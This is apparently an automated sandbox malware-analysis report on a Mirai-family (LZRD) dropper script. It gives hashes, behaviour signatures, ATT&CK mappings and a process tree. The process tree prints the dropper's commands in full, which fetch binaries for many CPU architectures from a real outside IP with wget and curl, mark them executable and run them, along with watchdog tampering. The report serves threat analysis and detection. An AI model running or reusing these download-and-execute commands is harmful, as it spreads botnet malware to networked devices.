mirai | c2688b90a1a2a5833e5ae2615d293da746c03c300413e39a14ff40ecc332c7f1

Analysis

max time kernel
34s
max time network
35s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/12/2024, 02:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

ohshit.sh
Size

3KB
MD5

8cadf8766bc5de0f7f7df9bf000cd0aa
SHA1

fa6c2f9c7a20a3c1c6831d859d4b809aadf49567
SHA256

c2688b90a1a2a5833e5ae2615d293da746c03c300413e39a14ff40ecc332c7f1
SHA512

8859f146c24023b97e34f53eda375ce9a0df64037806c86271d00a596a37097afbb7cfa4ffe1df2d58b4ed252fb048277ae8c3fc304be1551a33541390c8bac2

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
805	chmod
848	chmod
837	chmod
695	chmod
746	chmod
795	chmod
822	chmod
768	chmod
843	chmod
810	chmod
676	chmod
721	chmod
784	chmod
789	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/Chaotic	677	Chaotic
/tmp/Chaotic	696	Chaotic
/tmp/Chaotic	722	Chaotic
/tmp/Chaotic	747	Chaotic
/tmp/Chaotic	769	Chaotic
/tmp/Chaotic	785	Chaotic
/tmp/Chaotic	790	Chaotic
/tmp/Chaotic	796	Chaotic
/tmp/Chaotic	806	Chaotic
/tmp/Chaotic	811	Chaotic
/tmp/Chaotic	823	Chaotic
/tmp/Chaotic	838	Chaotic
/tmp/Chaotic	844	Chaotic
/tmp/Chaotic	849	Chaotic

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 6 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-5.dat	upx
behavioral2/files/fstream-6.dat	upx
behavioral2/files/fstream-7.dat	upx

Checks CPU configuration 1 TTPs 14 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/9/status	Chaotic
File opened for reading	/proc/20/status	Chaotic
File opened for reading	/proc/97/status	Chaotic
File opened for reading	/proc/645/status	Chaotic
File opened for reading	/proc/41/status	Chaotic
File opened for reading	/proc/288/status	Chaotic
File opened for reading	/proc/22/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/status	Chaotic
File opened for reading	/proc/75/status	Chaotic
File opened for reading	/proc/583/status	Chaotic
File opened for reading	/proc/7/status	Chaotic
File opened for reading	/proc/302/status	Chaotic
File opened for reading	/proc/679/status	Chaotic
File opened for reading	/proc/268/status	Chaotic
File opened for reading	/proc/28/status	Chaotic
File opened for reading	/proc/645/status	Chaotic
File opened for reading	/proc/811/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/27/status	Chaotic
File opened for reading	/proc/648/status	Chaotic
File opened for reading	/proc/1/status	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/679/status	Chaotic
File opened for reading	/proc/3/status	Chaotic
File opened for reading	/proc/12/status	Chaotic
File opened for reading	/proc/2/status	Chaotic
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/12/status	Chaotic
File opened for reading	/proc/582/status	Chaotic
File opened for reading	/proc/648/status	Chaotic
File opened for reading	/proc/16/status	Chaotic
File opened for reading	/proc/4/status	Chaotic
File opened for reading	/proc/578/status	Chaotic
File opened for reading	/proc/24/status	Chaotic
File opened for reading	/proc/579/status	Chaotic
File opened for reading	/proc/10/status	Chaotic
File opened for reading	/proc/21/status	Chaotic
File opened for reading	/proc/644/status	Chaotic
File opened for reading	/proc/5/status	Chaotic
File opened for reading	/proc/5/status	Chaotic
File opened for reading	/proc/108/status	Chaotic
File opened for reading	/proc/648/status	Chaotic
File opened for reading	/proc/22/status	Chaotic
File opened for reading	/proc/26/status	Chaotic
File opened for reading	/proc/27/status	Chaotic
File opened for reading	/proc/15/status	Chaotic
File opened for reading	/proc/42/status	Chaotic
File opened for reading	/proc/97/status	Chaotic
File opened for reading	/proc/105/status	Chaotic
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/147/status	Chaotic
File opened for reading	/proc/301/status	Chaotic
File opened for reading	/proc/8/status	Chaotic
File opened for reading	/proc/134/status	Chaotic
File opened for reading	/proc/41/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/28/status	Chaotic
File opened for reading	/proc/265/status	Chaotic
File opened for reading	/proc/15/status	Chaotic
File opened for reading	/proc/268/status	Chaotic
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
766	cat
771	wget
778	curl
783	cat
750	wget
754	curl

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/Chaotic	ohshit.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:645
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:647
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:653
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:672
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:675
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-HuTFbB ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:677
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:680
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:694
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-HuTFbB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:696
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:699
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:708
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  PID:719
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-HuTFbB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:722
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  PID:725
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Checks CPU configuration
  PID:740
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  PID:745
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-HuTFbB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:747
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  PID:750
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  PID:766
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-HuTFbB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:769
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:771
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:778
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:783
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-HuTFbB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:785
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:786
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:787
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  PID:788
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-HuTFbB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:790
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:792
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:793
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  PID:794
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-HuTFbB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:796
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:802
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:803
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  PID:804
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-HuTFbB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:806
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:807
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  PID:809
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-HuTFbB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:811
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:819
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  PID:821
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-HuTFbB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:823
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:834
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:835
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  PID:836
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:838
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:841
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:842
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:844
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:845
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  PID:847
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:849
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  PID:851

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/Chaotic

Filesize
37KB

MD5
fc32f8a67d1b0590d25d38c2614d72d9

SHA1
be2059efd5d4fcd999672caa7970019eb160bf13

SHA256
1bd4414e839b5d0be6d814d0d3daae5f64df063fb87865d32fbe815e02d587fa

SHA512
b99e74e7b031a5f21b1fece80c6976718a33efb3da3c13949fa8053f1e47970f335766a4376f33edff2dfaf79b144669ef28387dc73e9ff34cb77c94b47b9047

Download Submit
/tmp/Chaotic

Filesize
36KB

MD5
2bd66161d02afa8b3891285f7f9cbfdf

SHA1
2ca808e492bf74c2cb8576f72212d3a88a7bd0af

SHA256
21d663bd5974d560e377afd55d4ebaa86f82427db24b9f888197d1461bba80d1

SHA512
8ded171bb4c03ec978b32048f088f167bc7433192befadb074c6cde71e67be934c9878bd5a1c4b42e5bcfac5682f93882df65ac9cfbcf633e8b450b11bda2574

Download Submit
/tmp/Chaotic

Filesize
43KB

MD5
50bf10e8cdfe9739c0cf974778e0bda1

SHA1
212c2d9325b1c4a04ab78073f9094ff0010d3e6e

SHA256
b105e2e16e62e0156c93ec6adb3786aac39387b326c151bd4740e705a7ab99e4

SHA512
3db5b2334a7c5d966ed36c4ea61c31e5938e07aae63ece079ac421f60e83caca5ab3f4ec73279378cc95b2dc7e214912c2caeb42426c4cd00a4d9ebc28c65c74

Download Submit
/tmp/Chaotic

Filesize
275B

MD5
e30476707bea360ef7815018e2c45054

SHA1
834865edebe4721a98eeaee19a30a2301a2dbf9f

SHA256
82169f73d108bbb29422ff511c6601abefaff58ddd803a59602a1830596fa048

SHA512
68ae36b62644672d2508cb8b502bfcb88bff89d7a514ba73cbf1eb561c6b6ac832b18b547b21d4da88e83c12e13bc53822038a23c107377a78b7c94458cf0e30

Download Submit
/tmp/Chaotic

Filesize
95KB

MD5
f7dd7631f27db5d890e5b72f0f1ee787

SHA1
c75675fa482da583e772d6a963a86b0e3a5cdfb8

SHA256
936b7a39d5a244b4914bb0c5d4781a548b7d2202c6e595de5eec62421fc877e8

SHA512
7ded4d1c3a67f94e39b0a2f2a3a7d7a3c5290d9eac40070604f06aaaed135496bab4678d21ddb1aef4cbd7341be59d2022d9931476f20a122eba00872e5d461f

Download Submit
/tmp/busybox

Filesize
507KB

MD5
e588bcf03ae78237b58899d35f50c570

SHA1
2194732ebbefbc27bdae876c77f2a97a20175710

SHA256
2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88

SHA512
904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555

Download Submit
/tmp/ub8ehJSePAfc9FYqZIT6.arc

Filesize
113KB

MD5
67866b2fa89306af228090376b5ee71d

SHA1
589a43771d9ced3e2c57b0f81b68d5c1870979b6

SHA256
11ccfcb325127d662796d16aaf51a64ca1525239bee5b18591a7cca45a3c5fd5

SHA512
7f67170a16b0f499a507c79d4ec70a4aaf2bc5de3b863440418b73203aff80bb3c4b3283b9601f30262c5cf197be86fbf473957b9f004ac9c815c7519bce72e4

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads